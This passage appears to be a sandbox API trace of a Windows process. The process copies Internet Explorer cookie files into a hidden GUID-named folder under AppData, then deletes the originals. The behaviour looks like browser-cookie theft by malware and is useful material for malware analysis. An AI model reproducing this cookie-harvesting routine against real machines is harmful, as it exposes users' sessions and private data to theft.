StrChrW (lpStart="Low\\aetadzjz@pixel.rubiconproject[1].txt", wMatch=0x94e005c) returned="\\aetadzjz@pixel.rubiconproject[1].txt" [0116.173] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0116.174] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0116.174] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0116.174] StrChrW (lpStart="aetadzjz@pixel.rubiconproject[1].txt", wMatch=0x94e005c) returned 0x0 [0116.174] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@pixel.rubiconproject[1].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@pixel.rubiconproject[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@pixel.rubiconproject[1].txt" [0116.174] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@pixel.rubiconproject[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@pixel.rubiconproject[1].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@pixel.rubiconproject[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@pixel.rubiconproject[1].txt"), bFailIfExists=0) returned 1 [0116.177] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a94110 | out: hHeap=0x9770000) returned 1 [0116.178] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@pixel.rubiconproject[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@pixel.rubiconproject[1].txt")) returned 1 [0116.178] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95d40 | out: hHeap=0x9770000) returned 1 [0116.178] lstrlenW (lpString="Low\\aetadzjz@pubmatic[2].txt") returned 28 [0116.178] lstrlenW (lpString="\\cookie.ie") returned 10 [0116.178] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0116.178] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xf6) returned 0x9a98470 [0116.178] lstrcpyW (in: lpString1=0x9a98470, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0116.178] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0116.179] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0116.179] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0116.179] StrChrW (lpStart="Low\\aetadzjz@pubmatic[2].txt", wMatch=0x94e005c) returned="\\aetadzjz@pubmatic[2].txt" [0116.179] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0116.179] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0116.179] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0116.179] StrChrW (lpStart="aetadzjz@pubmatic[2].txt", wMatch=0x94e005c) returned 0x0 [0116.179] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@pubmatic[2].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@pubmatic[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@pubmatic[2].txt" [0116.179] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@pubmatic[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@pubmatic[2].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@pubmatic[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@pubmatic[2].txt"), bFailIfExists=0) returned 1 [0116.182] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a98470 | out: hHeap=0x9770000) returned 1 [0116.182] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@pubmatic[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@pubmatic[2].txt")) returned 1 [0116.183] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a94230 | out: hHeap=0x9770000) returned 1 [0116.183] lstrlenW (lpString="Low\\aetadzjz@rubiconproject[1].txt") returned 34 [0116.183] lstrlenW (lpString="\\cookie.ie") returned 10 [0116.183] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0116.183] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x102) returned 0x9a96580 [0116.183] lstrcpyW (in: lpString1=0x9a96580, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0116.183] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0116.183] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0116.184] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0116.184] StrChrW (lpStart="Low\\aetadzjz@rubiconproject[1].txt", wMatch=0x94e005c) returned="\\aetadzjz@rubiconproject[1].txt" [0116.184] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0116.184] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0116.184] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0116.184] StrChrW (lpStart="aetadzjz@rubiconproject[1].txt", wMatch=0x94e005c) returned 0x0 [0116.184] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@rubiconproject[1].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@rubiconproject[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@rubiconproject[1].txt" [0116.184] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@rubiconproject[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@rubiconproject[1].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@rubiconproject[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@rubiconproject[1].txt"), bFailIfExists=0) returned 1 [0116.187] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a96580 | out: hHeap=0x9770000) returned 1 [0116.187] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@rubiconproject[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@rubiconproject[1].txt")) returned 1 [0116.188] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a94350 | out: hHeap=0x9770000) returned 1 [0116.188] lstrlenW (lpString="Low\\aetadzjz@scorecardresearch[2].txt") returned 37 [0116.188] lstrlenW (lpString="\\cookie.ie") returned 10 [0116.188] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0116.188] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x108) returned 0x9a96580 [0116.188] lstrcpyW (in: lpString1=0x9a96580, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0116.188] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0116.188] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0116.188] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0116.188] StrChrW (lpStart="Low\\aetadzjz@scorecardresearch[2].txt", wMatch=0x94e005c) returned="\\aetadzjz@scorecardresearch[2].txt" [0116.188] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0116.188] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0116.188] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0116.188] StrChrW (lpStart="aetadzjz@scorecardresearch[2].txt", wMatch=0x94e005c) returned 0x0 [0116.188] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@scorecardresearch[2].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@scorecardresearch[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@scorecardresearch[2].txt" [0116.188] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@scorecardresearch[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@scorecardresearch[2].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@scorecardresearch[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@scorecardresearch[2].txt"), bFailIfExists=0) returned 1 [0116.197] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a96580 | out: hHeap=0x9770000) returned 1 [0116.197] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@scorecardresearch[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@scorecardresearch[2].txt")) returned 1 [0116.198] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95e70 | out: hHeap=0x9770000) returned 1 [0116.198] lstrlenW (lpString="Low\\aetadzjz@semasio[1].txt") returned 27 [0116.198] lstrlenW (lpString="\\cookie.ie") returned 10 [0116.198] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0116.198] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xf4) returned 0x9a98470 [0116.198] lstrcpyW (in: lpString1=0x9a98470, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0116.198] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0116.198] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0116.198] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0116.198] StrChrW (lpStart="Low\\aetadzjz@semasio[1].txt", wMatch=0x94e005c) returned="\\aetadzjz@semasio[1].txt" [0116.198] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0116.198] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0116.198] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0116.198] StrChrW (lpStart="aetadzjz@semasio[1].txt", wMatch=0x94e005c) returned 0x0 [0116.198] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@semasio[1].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@semasio[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@semasio[1].txt" [0116.198] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@semasio[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@semasio[1].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@semasio[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@semasio[1].txt"), bFailIfExists=0) returned 1 [0116.439] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a98470 | out: hHeap=0x9770000) returned 1 [0116.439] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@semasio[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@semasio[1].txt")) returned 1 [0116.439] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a94470 | out: hHeap=0x9770000) returned 1 [0116.439] lstrlenW (lpString="Low\\aetadzjz@server.adformdsp[2].txt") returned 36 [0116.440] lstrlenW (lpString="\\cookie.ie") returned 10 [0116.440] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0116.440] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x106) returned 0x9a96580 [0116.440] lstrcpyW (in: lpString1=0x9a96580, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0116.440] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0116.440] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0116.440] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: 